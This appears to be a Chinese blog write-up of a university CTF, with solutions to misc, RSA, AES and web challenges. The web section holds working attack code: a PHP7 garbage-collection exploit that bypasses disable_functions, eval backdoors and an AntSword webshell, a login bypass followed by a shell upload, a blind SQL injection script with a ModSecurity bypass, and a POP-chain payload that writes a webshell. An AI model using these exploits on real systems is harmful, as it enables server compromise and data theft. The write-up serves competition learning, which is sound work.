高校运维赛 writeup

misc

misc1

当过滤条件为tcp.stream eq 7时,shell.php执行cat flag|base64,还带有回显的加密方法

L2Jpbi9zaA==
Y2QgIi92YXIvd3d3L2h0bWwvdG1wIjtjYXQgZmxhZ3xiYXNlNjQgO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==
"cd "/var/www/html/tmp";cat flag|base64 ;echo [S];pwd;echo [E]"
<?php 
@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out){
    @session_start();
    $key='f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}

function asoutput() {
    $output=ob_get_contents();
    ob_end_clean();
    echo "0897d";
    echo @asenc($output);
    echo "60c97";
}

ob_start();
try{
    $p=base64_decode($_POST["0xc461e86196f1a"]);  // /bin/sh
    $s=base64_decode($_POST["0x9ec3fa98a283f"]);  // cd "/var/www/html/tmp";cd /var/www/html/tmp/;echo [S];pwd;echo [E]
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    $r="{$p} {$c}";

    function fe($f){
        $d=explode(",",@ini_get("disable_functions"));
        if(empty($d)){
            $d=array();
        }else{
            $d=array_map('trim',array_map('strtolower',$d));
        }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
    };

    function runcmd($c){
        $ret=0;
        if(fe('system')){@system($c,$ret);
        }elseif(fe('passthru')){@passthru($c,$ret);
        }elseif(fe('shell_exec')){print(@shell_exec($c));
        }elseif(fe('exec')){@exec($c,$o,$ret);
            print(join("",$o));
        }elseif(fe('popen')){$fp=@popen($c,'r');
            while(!@feof($fp)){print(@fgets($fp, 2048));
            }@pclose($fp);
        }elseif(fe('antsystem')){@antsystem($c);
        }else{$ret = 127;
        }return $ret;
    };
    $ret=@runcmd($r." 2>&1");
    print ($ret!=0)?"ret={$ret}":"";
;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

回显如下

8c2b4_kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5_e2e10

去掉头尾

解密

YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi
YmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho
aGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho
aGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn
Z2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi
YmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u
bm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K
[S]
/var/www/html/tmp
[E]Cg
babababbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
flag{AntSword_is_Powerful_3222222!!!!}

misc2

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')


app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'


@app.route('/')
def index():
    return open(__file__).read()


@app.route("/r", methods=['POST'])
def r():
    data = request.form["data"]
    if os.path.exists(data):
        return open(data).read()
    return ''


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

存在任意文件读取,flag文件open后被删除,可以读取文件描述符拿到flag

子目录/proc/self本身就是当前运行进程ID的符号链接.

用ls -ld查看/proc/self目录的符号链接,发现每次都不一样,说明我们每次用ls命令时的进程ID都是不同的.
ls -ld /proc/self

我们查看/proc/self/fd目录下的文件描述符,如下:
ls -l /proc/self/fd
total 0
lrwx------ 1 root root 64 2010-10-10 12:16 0 -> /dev/pts/1
lrwx------ 1 root root 64 2010-10-10 12:16 1 -> /dev/pts/1
lrwx------ 1 root root 64 2010-10-10 12:16 2 -> /dev/pts/1
lr-x------ 1 root root 64 2010-10-10 12:16 3 -> /proc/30578/fd

文件描述符3,这个描述符是ls进程打开/proc/self/fd(也就是/proc/30578/fd)所得到的文件描述符.
data=/proc/self/fd/3

crypto

rsa1

from flag import FLAG
from Crypto.Util.number import *
import gmpy2
import random

while True:
    p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1)))
    q = int(str(p)[200:]+str(p)[:200])
    if gmpy2.is_prime(q):
        break

m = bytes_to_long(FLAG)
n = p*q
e = 65537
c = pow(m,e,n)

with open("enc","wb") as f:
    f.write(str(c))
    f.write("\n")
    f.write(str(n))

p和q都是400位的数,p和q前后200相反

可以设p=a*pow(10,200)+b q=b*pow(10,200)+a

所以n=a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b

可以将n的前200位和后200位凭借得到 a*b

再用n减去a*b部分得到a*a + b*b

求出a,b后再求出p,q

from Crypto.Util.number import *
import gmpy2
import random
from gmpy2 import *
n=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301
e = 65537
nnn1=int(str(n)[:200])-1
nnn2=int(str(n)[600:])
ab=int(str(nnn1)+str(nnn2))

ab=2117306430457495084373744640919209184441085835440785339151821982858580957554648046398035452941253078562547380021066127607547324391257803263684574686690799140082210093930925498879813981907487546461281266736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

a2b2=n-(pow(10,400)+1)*ab #a**2+b**2
# print a2b2
t=a2b2/pow(10,200)
# print t 

t1=t+2*ab #(a+b)**2
print "(a+b)**2:",t1 #(a+b)**2 
t2=t1-4*ab #(a-b)**2
print "(a-b)**2:",t2 #(a-b)**2 

tt1=iroot(t1,2)[0]
print "(a+b):",tt1 #(a+b)
tt2=iroot(t2,2)[0] 
print "(a-b):",tt2 #(a-b)

b=(tt1-tt2)/2
a=tt1-b
print "b:",b
print "a:",a

print iroot(t1,2)
print iroot(t2,2)

p = a*pow(10,200)+b
q = b*pow(10,200)+a

print p*q==n
print "p",p
print "q",q

phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
print "d",d
c=16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836
flag = gmpy2.powmod(c, d, n)
print hex(flag)[2:].decode('hex')

rsa2

题目给了enc,n,e

from flag import FLAG
from Crypto.Util.number import *
import os
import gmpy2

p = getPrime(2048)
q = gmpy2.next_prime(bytes_to_long(os.urandom(32)*8))
n = p*q
e = 65537

m = bytes_to_long(FLAG)
enc = pow(m,e,n)

with open("enc","wb") as f:
    f.write(str(enc)+"\n")
    f.write(str(n)+"\n")

爆破减去 next_prime的产生的偏移,os.urandom(32)得到的32字节是mod p方程的小根

已知bytes_to_long(os.urandom(32)*8)会是bytes_to_long(('\x00'*31+'\x01')*8)的倍数,设t = bytes_to_long(('\x00'*31+'\x01')*8)

通过小根求出来的r和i=1452,得到p=(r*t+1452)

c=72074917741352632160674674423757226112732503986000125039486711125930276990656443924045288819165868627345704261550380026428346484029915532163917560135274130060403712677039409151760010987858845886090016665156558016254326826349547059132398165597146069935545654906860020446697981554235605548000668071179792369940040506180386344236709376665259555250931229064902253547279742091220081637632484839561818114867753305491466827132794867249268560394596282075249284471959669850300827075751375695495341046098821675671765630616585051408145283934310355450905091174225551852913024234768486683298136180488046648783548871491321003078465957075420450585181898780566907562110082339288183440201802995310694770151937718551875438109333769631500406936973469725930357855181743773516614272920932620803689778201192376634531897671943274986227782204268656867015692338457851232257902297364385868885931304585042560760186518312999852311004441119468693156565576967918680895591024375643850476541598453775623072668482295311781424458452933753379256069914551757794501890946111771992773535292266796984300649540507830481957270227762148818664162360269195888312995110145796745786950401203936544098266440768709581819476569480672433242587899101968249584078375546230742964233750
n=120807710153113702551615579080626349972702435654213602643278178850601270671946229285821528380336690426317604059622034599839001416930715968066016772516322170847232613450387418879151680919583407733398280475244970196660246303755390654445483988806163997943960045202300170321033632884706732013873256539789027552900587666422370948750842536533923935656875965991272731558533581897633592458155859972323709278905289729445241014357315813048740496355157322217479024997808766708783034169626351658483634985294355975778256304622956911622334081421352132051371869608818591717661111189285407351900021893457439899221542567630909004930602528901255429064258255953091799356807896508016798627878778491866567622281528441807056062152648122769596905617532839645811871242955534491003544450002957748265702306031022676181061669831693628120952508570252446308607118097142440911574131249381253267168309302968966178203572103064042325655007707720847432033652545364390235670894288288369956445797446648862192044259720010703057599068467348014822871417162946598110099990800849922664801383108437169282005803013729663209291895365964487113632471631243676196750054390014101920098216264290734689252677221687512705895162185620154778448467145374612676883160397044672382343419867
e = 65537
#t=bytes_to_long(('\x00'*31+'\x01')*8)
t=279095111627852376407822673918065072905887935345660252615989519488029661278607405102128022400464439638455553107495480150617094094788936975023785656368021614104516279627798947306932819597906832870520501108138318265206676505430170383360662036167199938418050699923911883462219763725490436725094269168768726436543450648522209474871904285038356744433772896706536844573389567339198101916108364646195478741487548879770224501794968562716466147982037752967369715296218093406259415236879638928189513752126948885802499546144789934871177150534791462913
P.<x> =Zmod(n)[]
for i in range(10000):
    r =(x *t +i).monic().small_roots(beta=0.45)
    if r:
        print i,r

sage运行得到

1452 [25097212148084861298779072266686287643405205222520917844564707998487462593163]

求出p,q,得到flag

sol = 25097212148084861298779072266686287643405205222520917844564707998487462593163
p=(sol*t+1452)
print n % p
q= n/p
phi = (p-1)*(q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
#flag{60ea503347a3cdd3181644d07599b7acf97f8382e0376061dc4902776046d43b}

aes

题目

#!/usr/bin/env python3
# coding=utf-8

import os
import signal
from Crypto.Cipher import AES
from Crypto.Util import Counter

def enc(msg, key):
    ctr = Counter.new(128,  initial_value=sum(msg))
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    return cipher.encrypt(msg)

if __name__ == '__main__':
    signal.alarm(60)
    key = os.urandom(16)
    with open('/home/ctf/flag', 'rb') as f:
        flag = f.read()
    assert len(flag) == 30
    enc_flag = enc(flag, key)

    print("Welcome to the our AES encryption system!")
    print(f"Here is your encrypted flag: {enc_flag}")
    for i in range(30):
        try:
            plaintext = input("Please input your plaintext: ")
            plaintext = bytes.fromhex(plaintext)
            ciphertext = enc(plaintext, key)
            print(f"Here is your ciphertext: {ciphertext}")
        except Exception:
            print('Error!')
            break
    print('Bye~')

Aes的counter模式(CTR)

其中initial_value=sum(msg) ,当我们输入的plaintext满足sum(plaintext)==sum(flag)时,flag ^ encflag == input ^ enc_input,从而求得flag=encflag ^ input ^ enc_input

flag长度30位 0x20*30从爆破到 0x7f*30

from pwn import *
import sys
from Crypto.Util.number import *

def check(str1):
    if "flag" in str1:
        return True
    else:
        return False

# for x in range(0x20,0x7f):
for x in range(92,93):
    print(x*30)
    p = remote("111.186.57.123",10001)
    p.recvuntil("flag: b")
    enc_flag = p.recvuntil("\n",drop=True)
    exec("enc_flag = "+enc_flag)
    for i in range(30):
        p.recvuntil("plaintext: ")
        plaintext=chr(x)*29+chr(x+i)
        p.sendline(plaintext.encode('hex'))
        p.recvuntil("ciphertext: b")
        ciphertext = p.recvuntil("\n",drop=True)
        exec("ciphertext = "+ciphertext)
        res = long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag))
        if check(res):
            print res

最终sum(flag)在2760到2790之间

web

expass(bypassDF)

开局一个后门

<?php
if(isset($_GET['src']))
{
    highlight_file(__FILE__);
}

eval($_GET['cmd']);

php垃圾回收https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

bp的change body encoding可以不用转编码

POST /?cmd=eval($_POST['a']); HTTP/1.1
Host: 111.186.57.43:10101
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 5781
Content-Type: multipart/form-data; boundary=--------1608040292

----------1608040292
Content-Disposition: form-data; name="a"

@pwn('/readflag');

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

----------1608040292

ezupload

存在源码/.login.php.swp

<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
            $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        } 
        $stmt->close();
    }     
}else{   
    header("Location: /index.php");
}

$mysqli->close();

password的判断有漏洞,当$_POST['password']不存在的时候,$password会被赋值为null。同样的,当sql语句查询结果为空时,返回为null$dpasswd就会被赋值为null,这样就可以成功登陆。

上传功能,后端校验文件头和content-type后缀名

上传.php5文件到uploads目录,成功拿到shell

ezwaf(sql注入)

题目

<?php
include "config.php";

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

function escape($arr)
{
    global $mysqli;
    $newarr = array();
    foreach($arr as $key=>$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}

选择age作为注入点,不需要逃逸引号,没有回显利用时间盲注

?age=1%2bsleep(1) => 403

apache设置了waf

用畸形的http包绕过modsecurity

import socket

ip = '111.186.57.43'
port = 10601

def send_raw(raw):
    try:
        with socket.create_connection((ip, port), timeout=4) as conn:
            conn.send(raw)
            res = conn.recv(10240).decode()
            # print(res)
            return False
    except:
        return True



if __name__ == '__main__':

    res = 'flag{abypass_modsecurity'
    for i in range(24, 50):
        for j in range(32, 127):
            payload = '''GET /?age=1%20or%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}%20and%20sleep(2) HTTP/1.1
Host: 111.186.57.43:10601
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
Content-Length: 0

'''.format(str(i), str(j))
            exp = payload.encode().replace(b'\n', b'\r\n')
            # print(exp)
            if send_raw(exp):
                res += chr(j)
                print(res)
                continue

不稳定的话时间可以调大一点

ezpop(pop链)

<?php
error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{

    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

构造pop链

通过触发A::__destruct()=>A::save()=>A::store->set()==b::set()最后触发$result = file_put_contents($filename, $data);

绕过exit通过 让$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

因为php中的base64_decode函数会忽略不符合base64编码的字符, 将合法字符组成一个新的字符串进行解码,所以最终被解码的字符仅有php00000000exit和我们传入的$data变量,因为base64算法解码时是4个byte一组,所以我们只要控制我们需要真正解码内容的前面部分字符长度为4的倍数就行

详细可以参考p师傅的博客link

$filename

B::getCacheKey($name)中,将$this->options['prefix']$name拼接得到

构造B::optionsA::key使$filenamephp://filter/write=convert.base64-decode/resource=uploads/shell.php

$data

$value=A::getForStorage()B::serialize($value)得到

构造A的cache为数组['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];

就可以使得$value=A::getForStorage() 的值为[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]

然后再构造B的serialize值为serialize就可以使得B::serialize($value)的值为‌s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";

这样在最后$data被base64解码的时候只有php//000000000000exits64pathadirnamePD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然后前36位字符被编码成功绕过exit

payload

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = 'shell.php';
        $this->cache = ['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];
    }
}

class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
    ];
}

echo urlencode(serialize(new A()));

文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
 上一篇
d3ctf writeup d3ctf writeup
easyweb(二次注入)看一下控制器,就user.php和file.php ci框架+smarty模版,猜测可能是模版注入 查找一下smarty的display()函数,在user.php的index里的display参数可控 //use
2019-11-24
下一篇 
RSA整理 RSA整理
RSA百越杯math题目,给了n1,n,和密文flag,公钥e。 from libnum import * from Crypto.Util.number import * from gmpy2 import next_prime from
2019-11-13
  目录